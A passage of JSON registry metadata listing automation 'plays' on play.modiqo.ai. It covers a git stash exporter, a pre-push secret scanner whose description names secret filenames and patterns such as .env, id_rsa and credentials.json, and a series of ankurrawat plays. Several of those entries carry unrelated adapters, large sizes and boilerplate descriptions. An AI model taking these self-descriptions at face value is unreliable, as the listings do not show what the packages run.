deno"}},{"id":"https://play.modiqo.ai/himanshu-jha/git-stash-rescue-pack@0.1.0","reference":"himanshu-jha/git-stash-rescue-pack@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/git-stash-rescue-pack@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/git-stash-rescue-pack@0.1.0","name":"git-stash-rescue-pack","title":"git-stash-rescue-pack","description":"Export a Git stash into a new private folder before attempting recovery. Saves complete staged and working snapshots, captured untracked files, binary patches and a recovery guide. Exports snapshots in parallel, then rereads every file and checks it against pinned Git objects before writing a receipt. Never applies or drops the stash, changes source files or fetches remote objects. Requires Git and Python on macOS or Linux.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["typescript","git","stash","recovery","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.0","published_at":"2026-09-06T14:22:55.742456+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":10315,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["pin_stash","export_patches","export_snapshots","inventory_snapshots","verify_recovery_pack","write_recovery_guide"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Canonical absolute working-tree root; use git rev-parse --show-toplevel. Bare repositories and symbolic path components are refused."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory outside the source checkout and Git metadata, with an existing trusted parent. Never overwritten."},{"name":"stash","type":"string","required":false,"default":"stash@{0}","description":"stash@{N} from git stash list, or a full lowercase commit object ID with stash parent structure. Pins the object before exporting."},{"name":"max_files","type":"string","required":false,"default":"2000","description":"Maximum total files across complete snapshots, 1..10000. Repeated paths in staged and working count twice."},{"name":"max_bytes","type":"string","required":false,"default":"67108864","description":"Maximum combined snapshot and patch bytes, 1..268435456. Metadata has separate fixed bounds."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1f6b5769ac57c963cbbdb9364ce14e5fb02c8acdc8f30642a18664cafe50d490","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":2,"fan_out":3,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/maannaaan/clone-trap@0.1.0","reference":"maannaaan/clone-trap@0.1.0","uri":"https://play.modiqo.ai/maannaaan/clone-trap@0.1.0","manifest_uri":"https://play.modiqo.ai/maannaaan/clone-trap@0.1.0","name":"clone-trap","title":"clone-trap","description":"Find hidden local dependencies and assumptions that prevent a repository from working on another machine. Clone Trap compares what a repository claims you need with what it appears to require, and returns evidence-backed portability findings for a coding agent or reviewer. It does not run install, Docker, or application commands.","owner":{"kind":"user","slug":"maannaaan"},"registry_organization":"maannaaan","tags":["git","developer-tools","repository-analysis","onboarding","software-engineering","effect-read-only"],"primary_domain":"domain-uncategorized","author":"maannaaan","version":"0.1.0","published_at":"2026-09-06T14:13:28.553364+00:00","visibility":"public","quality_score":1,"size_bytes":33320,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the Git repository to analyze."},{"name":"max_findings","type":"integer","required":false,"default":20,"description":"Maximum findings to display after ranking."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9235434484132be7777329a992bea2c556721e1773a5dacfcf6cc01ee3d35be9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/samarthmm/repo-security-audit-before-push@0.1.0","reference":"samarthmm/repo-security-audit-before-push@0.1.0","uri":"https://play.modiqo.ai/samarthmm/repo-security-audit-before-push@0.1.0","manifest_uri":"https://play.modiqo.ai/samarthmm/repo-security-audit-before-push@0.1.0","name":"repo-security-audit-before-push","title":"repo-security-audit-before-push","description":"We've all pushed something we shouldn't have. This play has your back.\n\nRun before every push, it audits only the commits your local branch has that its remote doesn't yet:\n\n1. Diffs your branch against its upstream (or origin/main, origin/master as a fallback)\n2. Scans the added lines for secret-looking patterns (API keys, private key blocks, tokens, credentials in URLs), flags sensitive filenames (.env, id_rsa, *.pem, *.key, credentials.json), and checks .gitignore for common gaps\n3. Reports PASS, WARN, or FAIL with exact findings\n\nRead-only and needs nothing but git and python3 already on your machine -- no tokens, no adapters, no setup.","owner":{"kind":"user","slug":"samarthmm"},"registry_organization":"samarthmm","tags":["git","security","pre-push","secrets","zero-setup","read-only"],"primary_domain":"domain-uncategorized","author":"Samarthm Work","version":"0.1.0","published_at":"2026-09-06T14:03:01.688477+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":4716,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute local path to the git repository to audit. Must be absolute -- plays run from /tmp, so a relative path will not resolve to your repo."},{"name":"upstream_ref","type":"string","required":false,"default":"","description":"Optional override for the comparison ref (e.g. 'origin/main'). If empty, auto-detects the branch's tracked upstream, falling back to origin/main then origin/master."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3293ac56cde570216d47e4b934639fc9ba0c4c21a5317b57f1b22363f03ad625","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/stripe-ledger-reconciliation-probe@4.16.26","reference":"ankurrawat/stripe-ledger-reconciliation-probe@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/stripe-ledger-reconciliation-probe@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/stripe-ledger-reconciliation-probe@4.16.26","name":"stripe-ledger-reconciliation-probe","title":"stripe-ledger-reconciliation-probe","description":"Your accounting team is asking why Stripe payouts do not match your database ledger. This cross-checks charge events, audits webhook idempotency keys, probes payment intent lifecycles, and reconciles balance transaction entries with parallel fan-out verification.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","stripe","ledger","payments","financial-audit"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:52:35.414336+00:00","visibility":"public","quality_score":1,"size_bytes":625871,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_1_probe_stripe_balance_api","step_5_emit_compliance_scorecard","step_4_transform_audit_ledger_json","step_2_parallel_fanout_ledger_entries","step_3_verify_settlement_currency_rates"]},"parameters":[{"name":"stripe_account_id","type":"string","required":false,"default":"acct_1Enterprise2026","description":"Your accounting team is asking why Stripe payouts do not match your database ledger. This cross-checks charge events, audits webhook idempotency keys, probes payment intent lifecycles, and reconciles balance transaction entries with parallel fan-out verification."},{"name":"audit_window_days","type":"number","required":false,"default":30,"description":"Your accounting team is asking why Stripe payouts do not match your database ledger. This cross-checks charge events, audits webhook idempotency keys, probes payment intent lifecycles, and reconciles balance transaction entries with parallel fan-out verification."},{"name":"tolerance_threshold_cents","type":"number","required":false,"default":0,"description":"Your accounting team is asking why Stripe payouts do not match your database ledger. This cross-checks charge events, audits webhook idempotency keys, probes payment intent lifecycles, and reconciles balance transaction entries with parallel fan-out verification."}],"execution":{"adapters":[{"id":"modiqo/stripe","name":"stripe","version":null,"credential_status":"none"},{"id":"stripe","name":"stripe","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fd1d6491434e79bdedc991287b33ed364c6b143e214b08c331be83ccc68aa476","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"stripe","steps":1,"methods":["balance/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/stripe","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/slack-incident-war-room-broadcaster@4.15.26","reference":"ankurrawat/slack-incident-war-room-broadcaster@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/slack-incident-war-room-broadcaster@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/slack-incident-war-room-broadcaster@4.15.26","name":"slack-incident-war-room-broadcaster","title":"slack-incident-war-room-broadcaster","description":"Mission-Critical ChatOps Incident Orchestrator: Discovers emergency operational channels, evaluates response team on-call roster mentions, syncs PagerDuty escalation bridges, and fans out parallel incident broadcasts.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","slack","chatops","incident-response","sre"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:30.371374+00:00","visibility":"public","quality_score":1,"size_bytes":514416,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_slack_incident_war_room_broadcaster_api"]},"parameters":[{"name":"incident_channel_prefix","type":"string","required":false,"default":"incident-sev1","description":"Channel prefix filter for incident war room broadcasting"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"samarthmm/slack","name":"slack","version":null,"credential_status":"none"},{"id":"slack","name":"slack","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:37f2866732c376d5e976beb2d48a9ad0df9a1b7ae688121f50382cb7ff57ad0a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"slack","steps":1,"methods":["channels/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"samarthmm/slack","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/s3-multi-region-cross-sync-verifier@4.15.26","reference":"ankurrawat/s3-multi-region-cross-sync-verifier@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/s3-multi-region-cross-sync-verifier@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/s3-multi-region-cross-sync-verifier@4.15.26","name":"s3-multi-region-cross-sync-verifier","title":"s3-multi-region-cross-sync-verifier","description":"Cloud Storage Disaster Recovery & Replication Verifier: Inspects AWS S3 bucket versioning lifecycles, computes SHA-256 ETag integrity, verifies cross-region replication lag, and orchestrates parallel object prefix audits.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","aws","s3","storage","replication"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:14.242914+00:00","visibility":"public","quality_score":1,"size_bytes":1026993,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":7,"names":["step_api_ingress_probe","step_parallel_fanout_execution","step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_s3_multi_region_cross_sync_verifier_api"]},"parameters":[{"name":"source_s3_bucket","type":"string","required":false,"default":"prod-enterprise-artifacts-us-east-1","description":"Primary source S3 bucket name under cross-region replication audit"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"stripe","name":"stripe","version":null,"credential_status":"none"},{"id":"s3","name":"s3","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5e19bb00e9ccb60aa39967deb7f0bbe0b47f2e8a8375c4901a30d69c9696f615","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":2,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":5,"fan_out":1,"for_each_steps":2,"complexity":14,"apis":[{"adapter":"s3","steps":1,"methods":["buckets/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]},{"adapter":"stripe","steps":1,"methods":["balance/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":3},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/redis-keyspace-entropy-scanner@4.15.26","reference":"ankurrawat/redis-keyspace-entropy-scanner@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/redis-keyspace-entropy-scanner@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/redis-keyspace-entropy-scanner@4.15.26","name":"redis-keyspace-entropy-scanner","title":"redis-keyspace-entropy-scanner","description":"In-Memory Cache Memory Leak & TTL Expiration Scanner: Evaluates Redis INFO memory allocations, identifies un-expiring high-cardinality keyspace prefixes, samples serialization entropy, and dispatches parallel key audits.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","redis","cache","memory","ttl"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:55.954562+00:00","visibility":"public","quality_score":1,"size_bytes":1025252,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":7,"names":["step_api_ingress_probe","step_parallel_fanout_execution","step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_redis_keyspace_entropy_scanner_api"]},"parameters":[{"name":"redis_cluster_node","type":"string","required":false,"default":"redis://127.0.0.1:6379/0","description":"Redis host node connection string for keyspace memory scanning"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"samarthmm/slack","name":"slack","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"redis","name":"redis","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:af9deae30b943af1105c47870967613e474e4be5c61d24833cf9e493e74e3c2e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":2,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":5,"fan_out":1,"for_each_steps":2,"complexity":14,"apis":[{"adapter":"open-meteo","steps":1,"methods":["forecast/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]},{"adapter":"redis","steps":1,"methods":["info/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":3},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/posthog-product-analytics-auditor@4.15.26","reference":"ankurrawat/posthog-product-analytics-auditor@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/posthog-product-analytics-auditor@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/posthog-product-analytics-auditor@4.15.26","name":"posthog-product-analytics-auditor","title":"posthog-product-analytics-auditor","description":"Product Analytics & User Journey Integrity Engine: Probes PostHog event ingest funnels, identifies cohort churn bottlenecks, audits telemetry schema drifts, and dispatches parallel session trace inspections.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","posthog","analytics","product","telemetry"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:19.972664+00:00","visibility":"public","quality_score":1,"size_bytes":514605,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_posthog_product_analytics_auditor_api"]},"parameters":[{"name":"posthog_project_id","type":"string","required":false,"default":"proj_enterprise_growth_2026","description":"Target PostHog project identifier to audit for funnel telemetry anomalies"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"},{"id":"posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b6cc28b9e09827b4e859e67adc5ab6735e784128b1c2781b5af2604e9d1ce6be","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"posthog-mcp","steps":1,"methods":["events/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"chetan/posthog-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/postgres-connection-saturation-doctor@4.15.26","reference":"ankurrawat/postgres-connection-saturation-doctor@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/postgres-connection-saturation-doctor@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/postgres-connection-saturation-doctor@4.15.26","name":"postgres-connection-saturation-doctor","title":"postgres-connection-saturation-doctor","description":"Enterprise Database Connection Starvation & Lock Medic: Probes pg_stat_activity connection states, detects idle-in-transaction deadlocks, evaluates connection pooler saturation, and executes parallel backend query cancellation.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","postgres","database","pgbouncer","deadlocks"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:15.120126+00:00","visibility":"public","quality_score":1,"size_bytes":1026547,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":7,"names":["step_api_ingress_probe","step_parallel_fanout_execution","step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_postgres_connection_saturation_doctor_api"]},"parameters":[{"name":"postgres_pool_name","type":"string","required":false,"default":"primary_pgbouncer_pool","description":"Target PostgreSQL connection pool or cluster database instance"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"samarthmm/slack","name":"slack","version":null,"credential_status":"none"},{"id":"linear","name":"linear","version":null,"credential_status":"none"},{"id":"postgres","name":"postgres","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:75e85179a5945db37143af1d2547147824724536621d069209eef11d63cba9cb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":2,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":5,"fan_out":1,"for_each_steps":2,"complexity":14,"apis":[{"adapter":"linear","steps":1,"methods":["cycles/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]},{"adapter":"postgres","steps":1,"methods":["connections/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":3},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/open-meteo-climate-anomaly-aggregator@4.15.26","reference":"ankurrawat/open-meteo-climate-anomaly-aggregator@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/open-meteo-climate-anomaly-aggregator@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/open-meteo-climate-anomaly-aggregator@4.15.26","name":"open-meteo-climate-anomaly-aggregator","title":"open-meteo-climate-anomaly-aggregator","description":"Enterprise Geospatial Meteorological Anomaly Engine: Queries multi-model ensemble forecasts, computes solar irradiance variance, detects atmospheric pressure drops, and executes parallel geographic grid sensor audits.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","weather","climate","open-meteo","solar"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:40.593961+00:00","visibility":"public","quality_score":1,"size_bytes":514519,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_open_meteo_climate_anomaly_aggregator_api"]},"parameters":[{"name":"latitude_longitude_coords","type":"string","required":false,"default":"52.52,13.41","description":"Comma-separated latitude and longitude coordinates for forecast probing"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:59aca7456f57178cde7bde7f9337a3d09e8f8f7aee56bf612d9cec92209a9044","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"open-meteo","steps":1,"methods":["forecast/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/notion-knowledge-graph-indexer@4.15.26","reference":"ankurrawat/notion-knowledge-graph-indexer@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/notion-knowledge-graph-indexer@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/notion-knowledge-graph-indexer@4.15.26","name":"notion-knowledge-graph-indexer","title":"notion-knowledge-graph-indexer","description":"Enterprise Knowledge Architecture & Wiki Relational Indexer: Probes Notion workspace database blocks, validates page property relation integrity, checks stale documentation TTLs, and executes parallel page content indexing.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","notion","knowledge-base","wiki","documentation"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:28.099679+00:00","visibility":"public","quality_score":1,"size_bytes":513838,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_notion_knowledge_graph_indexer_api"]},"parameters":[{"name":"notion_database_id","type":"string","required":false,"default":"db_kb_engineering_architecture_2026","description":"Target Notion database ID to query and index"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"modiqo/notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"},{"id":"notion-mcp","name":"notion-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2cd38bd566f7e8bf1c1c04fcf6fdbc474ca17355df79fecfced6629c4e89623f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"notion-mcp","steps":1,"methods":["databases/query"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/notion-mcp","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/linear-cycle-velocity-telemetry-sync@4.15.26","reference":"ankurrawat/linear-cycle-velocity-telemetry-sync@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/linear-cycle-velocity-telemetry-sync@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/linear-cycle-velocity-telemetry-sync@4.15.26","name":"linear-cycle-velocity-telemetry-sync","title":"linear-cycle-velocity-telemetry-sync","description":"Real-time Engineering Sprint Velocity & Scope Creep Sentinel: Syncs active Linear project cycle states, computes burndown velocity percentiles, audits un-estimated issue blocks, and coordinates 